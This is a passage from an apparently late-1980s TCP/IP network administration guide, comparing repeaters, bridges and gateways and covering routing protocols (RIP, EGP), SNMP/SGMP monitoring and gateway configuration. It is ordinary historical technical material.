has a few centralized +resources, e.g. mainframes and other large systems in a computing +center. If most of the network traffic is from small systems +attempting to get to the central system, then the argument above does +not work. In this case a hierarchy may still be useful. However it +doesn't reduce the bandwidth required for the long-haul network. In +the example above, if all 10 departments communicated primarily with +systems at the computer center, the backbone would have to be able to +carry all of their traffic, 10Mbits per second. The computer center +would either attach its systems directly to the backbone, or it would +have a "departmental" network with a capacity of 10Mbits per second +rather than the 1Mbits per second needed by the other departments. + +The second limitation on single-level networks is reliability, +maintainability and security. Wide-area networks are more difficult +to diagnose and maintain than local-area networks, because problems +can be introduced from any building to which the network is connected. +They also make traffic visible in all locations. For these reasons, +it is often sensible to handle local traffic locally, and use the +wide-area network only for traffic that actually must go between +buildings. However if you have a situation where each location has +only one or two computers, it may not make sense to set up a local +network at each location, and a single-level network may make sense. + + + +6.1.4 Mixed designs + + +In practice, few large networks have the luxury of adopting a +theoretically pure design. + +It is very unlikely that any large network will be able to avoid using +a hierarchical design. Suppose we set out to use a single-level +network. Even if most buildings have only one or two computers, there +will be some location where there are enough that a local-area network +is justified. The result is a mixture of a single-level network and a +hierachical network. Most buildings have their computers connected + 38 + + + +directly to the wide-area network, as with a single-level network. +However in one building there is a local-area network which uses the +wide-area network as a backbone, connecting to it via a switching +unit. + +On the other side of the story, even network designers with a strong +commitment to hierarchical networks are likely to find some parts of +the network where it simply doesn't make economic sense to install a +local-area network. So a host is put directly onto the backbone +network, or tied directly to a serial line. + +However you should think carefully before making ad hoc departures +from your design philosophy in order to save a few dollars. In the +long run, network maintainability is going to depend upon your ability +to make sense of what is going on in the network. The more consistent +your technology is, the more likely you are to be able to maintain the +network. + + + +6.2 An introduction to alternative switching technologies + + +This section will discuss the characteristics of various technologies +used to switch datagrams between networks. In effect, we are trying +to fill in some details about the black boxes assumed in previous +sections. There are three basic types of switches, generally referred +to as repeaters, bridges, and gateways, or alternatively as level 1, 2 +and 3 switches (based on the level of the OSI model at which they +operate). Note however that there are systems that combine features +of more than one of these, particularly bridges and gateways. + +The most important dimensions on which switches vary are isolation, +performance, routing and network management facilities. These will be +discussed below. + +The most serious difference is between repeaters and the other two +types of switch. Until recently, gateways provided very different +services from bridges. However these two technologies are now coming +closer together. Gateways are beginning to adopt the special-purpose +hardware that has characterized bridges in the past. Bridges are +beginning to adopt more sophisticated routing, isolation features, and +network management, which have characterized gateways in the past. +There are also systems that can function as both bridge and gateway. +This means that at the moment, the crucial decision may not be to +decide whether to use a bridge or a gateway, but to decide what +features you want in a switch and how it fits into your overall +network design. + + + + + + + + 39 + + + +6.2.1 Repeaters + + +A repeater is a piece of equipment that connects two networks that use +the same technology. It receives every data packet on each network, +and retransmits it onto the other network. The net result is that the +two networks have exactly the same set of packets on them. For +Ethernet or IEEE 802.3 networks there are actually two different kinds +of repeater. (Other network technologies may not need to make this +distinction.) + +A simple repeater operates at a very low level indeed. Its primary +purpose is to get around limitations in cable length caused by signal +loss or timing dispersion. It allows you to construct somewhat larger +networks than you would otherwise be able to construct. It can be +thought of as simply a two-way amplifier. It passes on individual +bits in the signal, without doing any processing at the packet level. +It even passes on collisions. That is, if a collision is generated on +one of the networks connected to it, the repeater generates a +collision on the other network. There is a limit to the number of +repeaters that you can use in a network. The basic Ethernet design +requires that signals must be able to get from one end of the network +to the other within a specified amount of time. This determines a +maximum allowable length. Putting repeaters in the path does not get +around this limit. (Indeed each repeater adds some delay, so in some +ways a repeater makes things worse.) Thus the Ethernet configuration +rules limit the number of repeaters that can be in any path. + +A "buffered repeater" operates at the level of whole data packets. +Rather than passing on signals a bit at a time, it receives an entire +packet from one network into an internal buffer and then retransmits +it onto the other network. It does not pass on collisions. Because +such low-level features as collisions are not repeated, the two +networks continue to be separate as far as the Ethernet specifications +are concerned. Thus there are no restrictions on the number of +buffered repeaters that can be used. Indeed there is no requirement +that both of the networks be of the same type. However the two +networks must be sufficiently similar that they have the same packet +format. Generally this means that buffered repeaters can be used +between two networks of the IEEE 802.x family (assuming that they have +chosen the same address length and maximum packet size), or two +networks of some other related family. A pair of buffered repeaters +can be used to connect two networks via a serial line. + +Buffered repeaters share with simple repeaters the most basic feature: +they repeat every data packet that they receive from one network onto +the other. Thus the two networks end up with exactly the same set of +packets on them. + + + + + + + + 40 + + + +6.2.2 Bridges and gateways + + +A bridge differs from a buffered repeater primarily in the fact that +it exercizes some selectivity as to what datagrams it forwards between +networks. Generally the goal is to increase the capacity of the +system by keeping local traffic confined to the network on which it +originates. Only traffic intended for other networks goes through the +bridge. So far this description would also apply to a gateway. +Bridges and gateways differ in the way they determine what datagrams +to forward. A bridge uses only the OSI level 2 address. In the case +of Ethernet or IEEE 802.x networks, this is the 6-byte Ethernet or +MAC-level address. (The term "MAC-level address" is more general. +However for the sake of concreteness, examples in this section will +assume that Ethernet is being used. You may generally replace the +term "Ethernet address" with the equivalent MAC-level address for +other similar technologies.) A bridge does not examine the datagram +itself, so it does not use the IP address or its equivalent for +routing decisions. In contrast, a gateway bases its decisions on the +IP address, or its equivalent for other protocols. + +There are several reasons why it matters which kind of address is used +for decisions. The most basic is that it affects the relationship +between the switch and the upper layers of the protocol. If +forwarding is done at the level of the MAC-level address (bridge), the +switch will be invisible to the protocols. If it is done at the IP +level, the switch will be visible. Let's give an example. Here are +two networks connected by a bridge: + + network 1 network 2 + 128.6.5 128.6.4 + ================== ================================ + | | | | | + ___|______ __|______|__ _______|___ _______|___ + 128.6.5.2 bridge 128.6.4.3 128.6.4.4 + __________ ____________ ___________ ___________ + computer A computer B computer C + + +Note that the bridge does not have an IP address. As far as computers +A, B, and C are concerned, there is a single Ethernet (or other +network) to which they are all attached. This means that the routing +tables must be set up so that computers on both networks treat both +networks as local. When computer A opens a connection to computer B, +it first broadcasts an ARP request asking for computer B's Ethernet +address. The bridge must pass this broadcast from network 1 to +network 2. (In general, bridges must pass all broadcasts.) Once the +two computers know each other's Ethernet addresses, communications use +the Ethernet address as the destination. At that point, the bridge +can start exerting some selectivity. It will only pass datagrams +whose Ethernet destination address is for a machine on the other +network. Thus a datagram from B to A will be passed from network 2 to +1, but a datagram from B to C will be ignored. + +In order to make this selection, the bridge needs to know which + 41 + + + +network each machine is on. Most modern bridges build up a table for +each network to which they are connected, listing the Ethernet +addresses of machines known to be on that network. They do this by +watching all of the datagrams on each network. When a datagram first +appears on network 1, it is reasonable to conclude that the Ethernet +source address corresponds to a machine on network 1. + +Note that a bridge must look at every datagram on the Ethernet, for +two different reasons. First, it may use the source address to learn +which machines are on which network. Second, it must look at the +destination address in order to decide whether it needs to forward the +datagram to the other network. + +As mentioned above, generally bridges must pass broadcasts from one +network to the other. Broadcasts are often used to locate a resource. +The ARP request is a typical example of this. Since the bridge has no +way of knowing what host is going to answer the broadcast, it must +pass it on to the other network. Some bridges have user-selectable +filters. With them, it is possible to block some broadcasts and allow +others. You might allow ARP broadcasts (which are essential for IP to +function), but confine less essential broadcasts to one network. For +example, you might choose not to pass rwhod broadcasts, which some +systems use to keep track of every user logged into every other +system. You might decide that it is sufficient for rwhod to know +about the systems on a single segment of the network. + +Now let's take a look at two networks connected by a gateway + + network 1 network 2 + 128.6.5 128.6.4 + ==================== ================================== + | | | | | + ___|______ ____|__________|____ _______|___ _______|___ + 128.6.5.2 128.6.5.1 128.6.4.1 128.6.4.3 128.6.4.4 + __________ ____________________ ___________ ___________ + computer A gateway computer B computer C + + +Note that the gateway has IP addresses assigned to each interface. +The computers' routing tables are set up to forward through +appropriate address. For example, computer A has a routing entry +saying that it should use the gateway 128.6.5.1 to get to subnet +128.6.4. + +Because the computers know about the gateway, the gateway does not +need to scan all the packets on the Ethernet. The computers will send +datagrams to it when appropriate. For example, suppose computer A +needs to send a message to computer B. Its routing table will tell it +to use gateway 128.6.5.1. It will issue an ARP request for that +address. The gateway will respond to the ARP request, just as any +host would. From then on, datagrams destined for B will be sent with +the gateway's Ethernet address. + + + + 42 + + + +6.2.3 More about bridges + + +There are several advantages to using the MAC-level address, as a +bridge does. First, every packet on an Ethernet or IEEE network has +such an address. The address is in the same place for every packet, +whether it is IP, DECnet, or some other protocol. Thus it is +relatively fast to get the address from the packet. A gateway must +decode the entire IP header, and if it is to support protocols other +than IP, it must have software for each such protocol. This means +that a bridge automatically supports every possible protocol, whereas +a gateway requires specific provisions for each protocol it is to +support. + +However there are also disadvantages. The one that is intrinsic to +the design of a bridge is + + - A bridge must look at every packet on the network, not just those + addressed to it. Thus it is possible to overload a bridge by + putting it on a very busy network, even if very little traffic is + actually going through the bridge. + +However there is another disadvantage that is based on the way bridges +are usually built. It is possible in principle to design bridges that +do not have this disadvantage, but I don't know of any plans to do so. +It stems from the fact that bridges do not have a complete routing +table that describes the entire system of networks. They simply have +a list of the Ethernet addresses that lie on each of its networks. +This means + + - Networks that use bridges cannot have loops in them. If there + were a loop, some bridges would see traffic from the same + Ethernet address coming from both directions, and would be unable + to decide which table to put that address in. Note that any + parallel paths to the same destination constitute a loop. This + means that multiple paths cannot be used for purposes of + splitting the load or providing redundancy. + +There are some ways of getting around the problem of loops. Many +bridges allow configurations with redundant connections, but turn off +links until there are no loops left. Should a link fail, one of the +disabled ones is then brought back into service. Thus redundant links +can still buy you extra reliability. But they can't be used to +provide extra capacity. It is also possible to build a bridge that +will make use of parallel point to point lines, in the one special +case where those lines go between a single pair of bridges. The +bridges would treat the two lines as a single virtual line, and use +them alternately in round-robin fashion. + +The process of disabling redundant connections until there are no +loops left is called a "spanning tree algorithm". This name comes +from the fact that a tree is defined as a pattern of connections with +no loops. Thus one wants to disable connections until the connections +that are left form a tree that "spans" (includes) all of the networks +in the system. In order to do this, all of the bridges in a network + 43 + + + +system must communicate among themselves. There is an IEEE proposal +to standardize the protocol for doing this, and for constructing the +spanning tree. + +Note that there is a tendency for the resulting spanning tree to +result in high network loads on certain parts of the system. The +networks near the "top of the tree" handle all traffic between distant +parts of the network. In a network that uses gateways, it would be +possible to put in an extra link between parts of the network that +have heavy traffic between them. However such extra links cannot be +used by a set of bridges. + + + +6.2.4 More about gateways + + +Gateways have their own advantages and disadvantages. In general a +gateway is more complex to design and to administer than a bridge. A +gateway must participate in all of the protocols that it is designed +to forward. For example, an IP gateway must respond to ARP requests. +The IP standards also require it to completely process the IP header, +decrementing the time to live field and obeying any IP options. + +Gateways are designed to handle more complex network topologies than +bridges. As such, they have a different (and more complex) set of +decisions to make. In general a bridge has fairly simple decision to +make: should it forward a datagram, and if so which interface should +it send the datagram out? When a gateway forwards a datagram, it must +decide what host or gateway to send the datagram to next. If the +gateway sends a datagram back onto the same network it came from, it +should also issue a redirect to the source of the datagram telling it +to use a better route. Many gateways can also handle parallel paths. +If there are several equally good paths to a destination, the gateway +will alternate among them in round-robin fashion. (This is done by +some bridges also, though it is less common there. In both cases, +there are some issues raised by round-robin alternation. It tends to +lead to datagrams arriving in an order different than the order in +which they were sent. This can complicate processing by the +destination host. Some older TCP/IP implementations have bugs in +handling out of order datagrams.) + +In order to handle these decisions, a gateway will typically have a +routing table that looks very much like a host's. As with host +routing tables, a gateway's table contains an entry for each possible +network number. For each network, there is either an entry saying +that that network is connected directly to the gateway, or there is an +entry saying that traffic for that network should be forwarded through +some other gateway or gateways. We will describe the "routing +protocols" used to build up this information later, in the discussion +on how to configure a gateway. + + + + + 44 + + + +6.3 Comparing the switching technologies + + +Repeaters, buffered repeaters, bridges, and gateways form a spectrum. +Those devices near the beginning of the list are best for smaller +networks. They are less expensive, and easier to set up, but less +general. Those near the end of the list are suitable for building +more complex networks. Many networks will contain a mixture of switch +types, with repeaters being used to connect a few nearby network +segments, bridges used for somewhat larger areas, and gateways used +for long-distance links. + +Note that this document so far has assumed that only gateways are +being used. The section on setting up a host described how to set up +a routing table listing the gateways to use to get to various +networks. Repeaters and bridges are invisible to IP. So as far as +previous sections are concerned, networks connected by them are to be +considered a single network. Section 3.4 describes how to configure a +host in the case where several subnets are carried on a single +physical network. The same configuration should be used when several +subnets are connected by repeaters or bridges. + +As mentioned above, the most important dimensions on which switches +vary are isolation, performance, routing, network management. + + + +6.3.1 Isolation + + +Generally people use switches to connect networks to each other. So +they are normally thinking of gaining connectivity, not providing +isolation. However isolation is worth thinking about. If you connect +two networks and provide no isolation at all, then any network +problems on other networks suddenly appear on yours as well. Also, +the two networks together may have enough traffic to overwhelm your +network. Thus it is well to think of choosing an appropriate level of +protection. + +Isolation comes in two kinds: isolation against malfunctions and +traffic isolation. In order to discuss isolation of malfunctions, we +have to have a taxonomy of malfunctions. Here are the major classes +of malfunctions, and which switches can isolate them: + + - Electrical faults, e.g. a short in the cable or some sort of + fault that distorts the signal. All types of switch will confine + this to one side of the switch: repeater, buffered repeater, + bridge, gateway. These are worth protecting against, although + their frequency depends upon how often your cables are changed or + disturbed. It is rare for this sort of fault to occur without + some disturbance of the cable. + + - Transceiver and controller problems that general signals that are + valid electrically but nevertheless incorrect (e.g. a continuous, + infinitely long packet, spurious collisions, never dropping + 45 + + + + carrier). All except the simple repeater will confine this: + buffered repeater, bridge, gateway. (Such problems are not very + common.) + + - Software malfunctions that lead to excessive traffic between + particular hosts (i.e. not broadcasts). Bridges and gateways + will isolate these. (This type of failure is fairly rare. Most + software and protocol problems generate broadcasts.) + + - Software malfunctions that lead to excessive broadcast traffic. + Gateways will isolate these. Generally bridges will not, because + they must pass broadcasts. Bridges with user-settable filtering + can protect against some broadcast malfunctions. However in + general bridges must pass ARP, and most broadcast malfunctions + involve ARP. This problem is not severe on single-vendor + networks where software is under careful control. However sites + with complex network environments or experimental network + software may see problems of this sort regularly. + +Traffic isolation is provided by bridges and gateways. The most basic +decision is how many computers can be put onto a network without +overloading its capacity. This requires knowledge of the capacity of +the network, but also how the hosts will use it. For example, an +Ethernet may support hundreds of systems if all the network is used +for is remote logins and an occasional file transfer. However if the +computers are diskless, and use the network for swapping, an Ethernet +will support between 10 and 40, depending upon their speeds and I/O +rates. + +When you have to put more computers onto a network than it can handle, +you split it into several networks and put some sort of switch between +them. If you do the split correctly, most of the traffic will be +between machines on the same piece. This means putting clients on the +same network as their servers, putting terminal servers on the same +network as the hosts that they access most commonly, etc. + +Bridges and gateways generally provide similar degrees of traffic +isolation. In both cases, only traffic bound for hosts on the other +side of the switch is passed. However see the discussion on routing. + + + +6.3.2 Performance + + +Absolute performance limits are becoming less of an issue as time goes +on, since the switching technology is improving. Generally repeaters +can handle the full bandwidth of the network. (By their very nature, +a simple repeater must be able to do so.) Bridges and gateways often +have performance limitations of various sorts. Bridges have two +numbers of interest: packet scanning rate and throughput. As +explained above, a bridge must look at every packet on the network, +even ones that it does not forward. The number of packets per second +that it can scan in this way is the packet scanning rate. Throughput +applies to both bridges and gateways. This is the rate at which they + 46 + + + +can forward traffic. Generally this depends upon datagram size. + +Normally the number of datagrams per second that a unit can handle +will be greater for short datagrams than long ones. Early models of +bridge varied from a few hundred datagrams per second to around 7000. +The higher speeds are for equipment that uses special-purpose hardware +to speed up the process of scanning packets. First-generation +gateways varied from a few hundred datagrams per second to 1000 or +more. However second-generation gateways are now available, using +special-purpose hardware of the same sophistication as that used by +bridges. They can handle on the order of 10000 datagrams per second. +Thus at the moment high-performance bridges and gateways can switch +most of the bandwidth of an Ethernet. This means that performance +should no longer be a basis for choosing between types of switch. +However within a given type of switch, there are still specific models +with higher or lower capacity. And there may still be differences in +price/performance. This is particularly true at the low end. The +least expensive bridges are currently less than half the price of the +least expensive gateway. + +Unfortunately there is no single number on which you can base +performance estimates. The figure most commonly quoted is packets per +second. Be aware that most vendors count a datagram only once as it +goes through a gateway, but that one prominent vendor counts datagrams +twice. Thus their switching rates must be deflated by a factor of 2. +Also, when comparing numbers make sure that they are for datagrams of +the same size. A simple performance model is + + processing time = switching time + datagram size * time per byte + +That is, the time to switch a datagram is normally a constant +switching time, representing interrupt latency, header processing, +routing table lookup, etc., plus a component proportional to datagram +size, representing the time needed to do any datagram copying. One +reasonable approach to reporting performance is to give datagrams per +second for minimum and maximum size datagrams. Another is to report +limiting switching speed in datagrams per second and throughput in +bytes per second, i.e. the two terms of the equation above. + + + +6.3.3 Routing + + +Routing refers to the technology used to decide where to send a +datagram next. Of course for a repeater this is not an issue, since +repeaters forward every packet. + +The routing strategy for a bridge turns into two decisions: (1) +enabling and disabling links in order to maintain the spanning tree, +and (2) deciding whether it should forward any particular packet, and +out what interface (if the bridge is capable of handling more than two +interfaces). The second decision is usually based on a table of +MAC-level addresses. As described above, this is built up by scanning +traffic visible from each interface. The goal is to forward those + 47 + + + +packets whose destination is on the other side of the bridge. This +algorithm requires that the network configuration have no loops or +redundant lines. Less sophisticated bridges leave this up to the +system designer. With these bridges, you must set up your network so +that there are no loops in it. More sophisticated bridges allow +arbitrary topology, but disable links until no loops remain. This +provides extra reliability. If a link fails, an alternative link will +be turned on automatically. Bridges that work this way have a +protocol that allows them to detect when a unit must be disabled or +reenabled, so that at any instant the set of active links forms a +"spanning tree". If you require the extra reliability of redundant +links, make sure that the bridges you use can disable and enable +themselves in this way. There is currently no official standard for +the protocol used among bridges, although there is a standard in the +proposal stage. If you buy bridges from more than one vendor, make +sure that their spanning-tree protocols will interoperate. + +Gateways generally allow arbitrary network topologies, including loops +and redundant links. Because of their more general routing +algorithms, gateways must maintain a model of the entire network +topology. Different routing techniques maintain models of greater or +lesser complexity, and use the data with varying degrees of +sophistication. Gateways that handle IP should generally support the +two Internet standard routing protocols: RIP (Routing Information +Protocol) and EGP (External Gateway Protocol). EGP is a +special-purpose protocol for use in networks where there is a backbone +under a separate administration. It allows exchange of reachability +information with the backbone in a controlled way. If you are a +member of such a network, your gateway must support EGP. This is +becoming common enough that it is probably a good idea to make sure +that all gateways support EGP. + +RIP is a protocol designed to handle routing within small to moderate +size networks, where line speeds do not differ radically. Its primary +limitations are: + + - It cannot be used with networks where any path goes through more + than 15 gateways. This range may be further reduced if you use + an optional feature for giving a slow line a weight larger than + one. + + - It cannot share traffic between parallel lines (although some + implementations allow this if the lines are between the same pair + of gateways). + + - It cannot adapt to changes in network load. + + - It is not well suited to situations where there are alternative + routes through lines of very different speeds. + + - It may not be stable in networks where lines or gateways change a + lot. + +Some vendors supply proprietary modifications to RIP that improve its +operation with EGP or increase the maximum path length beyond 15, but + 48 + + + +do not otherwise modify it very much. If you expect your network to +involve gateways from more than one vendor, you should generally +require that all of them support RIP, since this is the only routing +protocol that is generally available. If you expect to use a more +sophisticated protocol in addition, it may be useful for the gateways +to translate between their own protocol and RIP. However for very +large or complex networks, there may be no choice but to use some +other protocol throughout. + +More sophisticated routing protocols are possible. The primary ones +being considered today are cisco System's IGRP, and protocols based on +the SPF (shortest-path first) algorithms. In general these protocols +are designed for larger or more complex networks. They are in general +stable under a wider variety of conditions, and they can handle +arbitrary combinations of line type and speed. Some of them allow you +to split traffic among parallel paths, to get better overall +throughput. Some newer technologies may allow the network to adjust +to take into account paths that are overloaded. However at the moment +I do not know of any commercial gateway that does this. (There are +very serious problems with maintaining stable routing when this is +done.) There are enough variations among routing technology, and it is +changing rapidly enough, that you should discuss your proposed network +topology in detail with all of the vendors that you are considering. +Make sure that their technology can handle your topology, and can +support any special requirements that you have for sharing traffic +among parallel lines, and for adjusting topology to take into account +failures. In the long run, we expect one or more of these newer +routing protocols to attain the status of a standard, at least on a de +facto basis. However at the moment, there is no generally implemented +routing technology other than RIP. + +One additional routing topic to consider is policy-based routing. In +general routing protocols are designed to find the shortest or fastest +possible path for every datagram. In some cases, this is not desired. +For reasons of security, cost accountability, etc., you may wish to +limit certain paths to certain uses. Most gateways now have some +ability to control the spread of routing information so as to give you +some administrative control over the way routes are used. Different +gateways vary in the degree of control that they support. Make sure +that you discuss any requirements that you have for control with all +prospective gateway vendors. + + + +6.3.4 Network management + + +Network management covers a wide variety of topics. In general it +includes gathering statistical data and status information about parts +of your network, and taking action as necessary to deal with failures +and other changes. The most primitive technique for network +monitoring is periodic "pinging" of critical hosts. Pinging is a +monitoring technique that depends on an "echo" datagram. This is a +specific type of datagram that requests an immediate reply. Most +TCP/IP implementations contain a program (usually called "ping") that + 49 + + + +sends an echo to a specified host. If you get a reply, you know that +the host is up, and that the network connection to the host works. If +you don't get a reply, you know that something is wrong with one of +the other. By pinging a reasonable sample of hosts, you can normally +tell what is going on. If all the hosts on a network suddenly stop +returning pings, it is reasonable to conclude that the connection to +that network has gone bad. If one host stops returning pings, but +other hosts on the same network still do, then it is reasonable to +conclude that the host has crashed. + +More sophisticated network monitoring requires the ability to get +specific status and statistical information from various devices on +the network. These should include various sorts of datagram counts, +as well as counts of errors of various kinds. This data is likely to +be most detailed in a gateway, since the gateway classifies datagrams +using the protocols, and may even respond to certain types of datagram +itself. However bridges and even buffered repeaters can certainly +have counts of datagrams forwarded, interface errors, etc. It should +be possible to collect this data from a central monitoring point. + +There is now an official TCP/IP approach to network monitoring. The +first stages use a related set of protocols, SGMP and SNMP. Both of +these protocols are designed to allow you to collect information and +to make changes in configuration parameters for gateways and other +entities on your network. You can run the corresponding interface +programs on any host in your network. SGMP is now available for +several commercial gateways, as well as for Unix systems that are +acting as gateways. There is a limited set of information which any +SGMP implementation is required to supply, as well as a uniform +mechanism for vendors to add information of their own. By late 1988, +the second generation of this protocol, SNMP, should be in service. +This is a slightly more sophisticated protocol. It has with it a more +complete set of information that can be monitored, called the MIB +(Management Information Base). Unlike the somewhat ad hoc collection +of SGMP variables, the MIB is the result of numerous committee +deliberations involving a number of vendors and users. Eventually it +is expected that there will be a TCP/IP equivalent of CMIS, the ISO +network monitoring service. However CMIS, and its protocols, CMIP, +are not yet official ISO standards, so they are still in the +experimental stages. + +In general terms all of these protocols accomplish the same thing: +They allow you to collect critical information in a uniform way from +all vendors' equipment. You send commands as UDP datagrams from a +network management program running on some host in your network. +Generally the interaction is fairly simple, with a single pair of +datagrams exchanged: a command and a response. At the moment security +is fairly simple. It is possible to require what amounts to a +password in the command. (In SGMP it is referred to as a "session +name", rather than a password.) More elaborate, encryption-based +security is being developed. + +You will probably want to configure the network management tools at +your disposal to do several different things. For short-term network +monitoring, you will want to keep track of switches crashing or being + 50 + + + +taken down for maintenance, and of failure of communications lines and +other hardware. It is possible to configurate SGMP and SNMP to issue +"traps" (unsolicited messages) to a specified host or list of hosts +when some of these critical events occur (e.g. lines up and down). +However it is unrealistic to expect a switch to notify you when it +crashes. It is also possible for trap messages to be lost due to +network failure or overload. Thus you can't depend completely on +traps. You should also poll your switches regularly to gather +information. Various displays are available, including a map of your +network where items change color as their status changes, and running +"strip charts" that show datagram rates and other items through +selected switches. This software is still in its early stages, so you +should expect to see a lot of change here. However at the very least +you should expect to be notified in some way of failures. You may +also want to be able to take actions to reconfigure the system in +response to failures, although security issues make some managers +nervous about doing that through the existing management protocols. + +The second type of monitoring you are likely to want to do is to +collect information for use in periodic reports on network utilization +and performance. For this, you need to sample each switch +perodically, and retrieve numbers of interest. At Rutgers we sample +hourly, and get the number of datagrams forwarded for IP and DECnet, a +count of reloads, and various error counts. These are reported daily +in some detail. Monthly summaries are produced giving traffic through +each gateway, and a few key error rates chosen to indicate a gateway +that is being overloaded (datagrams dropped in input and output). + +It should be possible to use monitoring techniques of this kind with +most types of switch. At the moment, simple repeaters do not report +any statistics. Since they do not generally have processors in them, +doing so would cause a major increase in their cost. However it +should be possible to put network management software in buffered +repeaters, bridges, and gateways. Gateways are the most likely to +contain sophisticated network management software. Most gateway +vendors that handle IP are expected to implement the monitoring +protocols described above. Many bridge vendors make some provisions +for collecting performance data. Since bridges are not +protocol-specific, most of them do not have the software necessary to +implement TCP/IP-based network management protocols. In some cases, +monitoring can be done only by typing commands to a directly-attached +console. (We have seen one case where it is necessary to take the +bridge out of service to gather this data.) In other cases, it is +possible to gather data via the network, but the monitoring protocol +is ad hoc or even proprietary. + +Except for very small networks, you should probably insist that any +switch more complex than a simple repeater should collect statistics +and provide some way of querying them remotely. Portions of the +network that do not support such operations can be monitored by +pinging. However ping simply detects gross failures. It does not +allow you to look at the noise level of a serial line and other +quantities needed to do high-quality maintenance. In the long run, +you can expect the most software to be available for standard +protocols such as SGMP/SNMP and CMIS. However proprietary monitoring + 51 + + + +tools may be sufficient as long as they work with all of the equipment +that you have. + + + +6.3.5 A final evaluation + + +Here is a summary of the places where each kind of switch technology +is normally used: + + - Repeaters are normally confined to a single building. Since they + provide no traffic isolation, you must make sure that the entire + set of networks connected by repeaters can carry the traffic from + all of the computers on it. Since they generally provide no + network monitoring tools, you will not want to use repeaters for + a link that is likely to fail. + + - Bridges and gateways should be placed sufficiently frequently to + break your network into pieces for which the traffic volume is + manageable. You may want to place bridges or gateways even in + places where traffic level alone would not require them for + network monitoring reasons. + + - Because bridges must pass broadcast datagrams, there is a limit + to the size network you can construct using them. It is probably + a good idea to limit the network connected by bridges to a + hundred systems or so. This number can be increased somewhat for + bridges with good facilities for filtering. + + - Because certain kinds of network misbehavior will be passed, + bridges should be used only among portions of the network where a + single group is responsible for diagnosing problems. You have to + be crazy to use a bridge between networks owned by different + organizations. Portions of your network where experiments are + being done in network technology should always be isolated from + the rest of the network by gateways. + + - For many applications it is more important to choose a product + with the right combination of performance, network management + tools, and other features than to make the decision between + bridges and gateways. + + + +7. Configuring Gateways + + +This section deals with configuration issues that are specific to +gateways. Gateways that handle IP are themselves Internet hosts. +Thus the discussions above on configuring addresses and routing +information apply to gateways as well as to hosts. The exact way you +configure a gateway will depend upon the vendor. In some cases, you +edit files stored on a disk in the gateway itself. However for +reliability reasons most gateways do not have disks of their own. For + 52 + + + +them, configuration information is stored in non-volatile memory or in +configuration files that are uploaded from one or more hosts on the +network. + +At a minimum, configuration involves specifying the IP address and +address mask for each interface, and enabling an appropriate routing +protocol. However generally a few other options are desirable. There +are often parameters in addition to the IP address that you should set +for each interface. + +One important parameter is the broadcast address. As explained above, +older software may react badly when broadcasts are sent using the new +standard broadcast address. For this reason, some vendors allow you +to choose a broadcast address to be used on each interface. It should +be set using your knowledge of what computers are on each of the +networks. In general if the computers follow current standards, a +broadcast address of 255.255.255.255 should be used. However older +implementations may behave better with other addresses, particularly +the address that uses zeros for the host number. (For the network +128.6 this would be 128.6.0.0. For compatibility with software that +does not implement subnets, you would use 128.6.0.0 as the broadcast +address even for a subnet such as 128.6.4.) You should watch your +network with a network monitor and see the results of several +different broadcast address choices. If you make a bad choice, every +time the gateway sends a routing update broadcast, many machines on +your network will respond with ARP's or ICMP errors. Note that when +you change the broadcast address in the gateway, you may need to +change it on the individual computers as well. Generally the idea is +to change the address on the systems that you can configure to give +behavior that is compatible with systems that you can't configure. + +Other interface parameters may be necessary to deal with peculiarities +of the network it is connected to. For example, many gateways test +Ethernet interfaces to make sure that the cable is connected and the +transceiver is working correctly. Some of these tests will not work +properly with the older Ethernet version 1 transceivers. If you are +using such a transceiver, you would have to disable this keepalive +testing. Similarly, gateways connected by a serial line normally do +regular testing to make sure that the line is still working. There +can be situations where this needs to be disabled. + +Often you will have to enable features of the software that you want +to use. For example, it is often necessary to turn on the network +management protocol explicitly, and to give it the name or address of +a host that is running software to accept traps (error messages). + +Most gateways have options that relate to security. At a minimum, +this may include setting password for making changes remotely (and the +"session name" for SGMP). If you need to control access to certain +parts of your network, you will also need to define access control +lists or whatever other mechanism your gateway uses. + +Gateways that load configuration information over the network present +special issues. When such a gateway boots, it sends broadcast +requests of various kinds, attempting to find its Internet address and + 53 + + + +then to load configuration information. Thus it is necessary to make +sure that there is some computer that is prepared to respond to these +requests. In some cases, this is a dedicated micro running special +software. In other cases, generic software is available that can run +on a variety of machines. You should consult your vendor to make sure +that this can be arranged. For reliability reasons, you should make +sure that there is more than one host with the information and +programs that your gateways need. In some cases you will have to +maintain several different files. For example, the gateways used at +Rutgers use a program called "bootp" to supply their Internet address, +and they then load the code and configuration information using TFTP. +This means that we have to maintain a file for bootp that contains +Ethernet and Internet addresses for each gateway, and a set of files +containing other configuration information for each gateway. If your +network is large, it is worth taking some trouble to make sure that +this information remains consistent. We keep master copies of all of +the configuration information on a single computer, and distribute it +to other systems when it changes, using the Unix utilities make and +rdist. If your gateway has an option to store configuration +information in non-volatile memory, you will eliminate some of these +logistical headaches. However this presents its own problems. The +contents of non-volatile memory should be backed up in some central +location. It will also be harder for network management personnel to +review configuration information if it is distributed among the +gateways. + +Starting a gateway is particularly challenging if it loads +configuration information from a distant portion of the network. +Gateways that expect to take configuration information from the +network generally issue broadcast requests on all of the networks to +which they are connected. If there is a computer on one of those +networks that is prepared to respond to the request, things are +straightforward. However some gateways may be in remote locations +where there are no nearby computer systems that can support the +necessary protocols. In this case, it is necessary to arrange for the +requests to be routed back to the network where there are appropriate +computers. This requires what is strictly speaking a violation of the +basic design philosophy for gateways. Generally a gateway should not +allow broadcasts from one network to pass through to an adjacent +network. In order to allow a gateway to get information from a +computer on a different network, at least one of the gateways in +between will have to be configured to pass the particular class of +broadcasts used to retrieve this information. If you have this sort +of configuration, you should test the loading process regularly. It +is not unusual to find that gateways do not come up after a power +failure because someone changed the configuration of another gateway +and made it impossible to load some necessary information. + + + + + + + + + 54 + + + +7.1 Configuring routing for gateways + + +The final topic to be considered is configuring routing. This is more +complex for a gateway than for a normal host. Most TCP/IP experts +recommend that routing be left to the gateways. Thus hosts may simply +have a default route that points to the nearest gateway. Of course +the gateways themselves can't get by with this. They need to have +complete routing tables. + +In order to understand how to configure a gateway, we have to look in +a bit more detail at how gateways communicate routes. When you first +turn on a gateway, the only networks it knows about are the ones that +are directly connected to it. (They are specified by the +configuration information.) In order to find out how to get to more +distant parts of the network, it engages in some sort of "routing +protocol". A routing protocol is simply a protocol that allows each +gateway to advertise which networks it can get to, and to spread that +information from one gateway to the next. Eventually every gateway +should know how to get to every network. There are different styles +of routing protocol. In one common type, gateways talk only to nearby +gateways. In another type, every gateway builds up a database +describing every other gateway in the system. However all of the +protocols have some way for each gateway in the system to find out how +to get 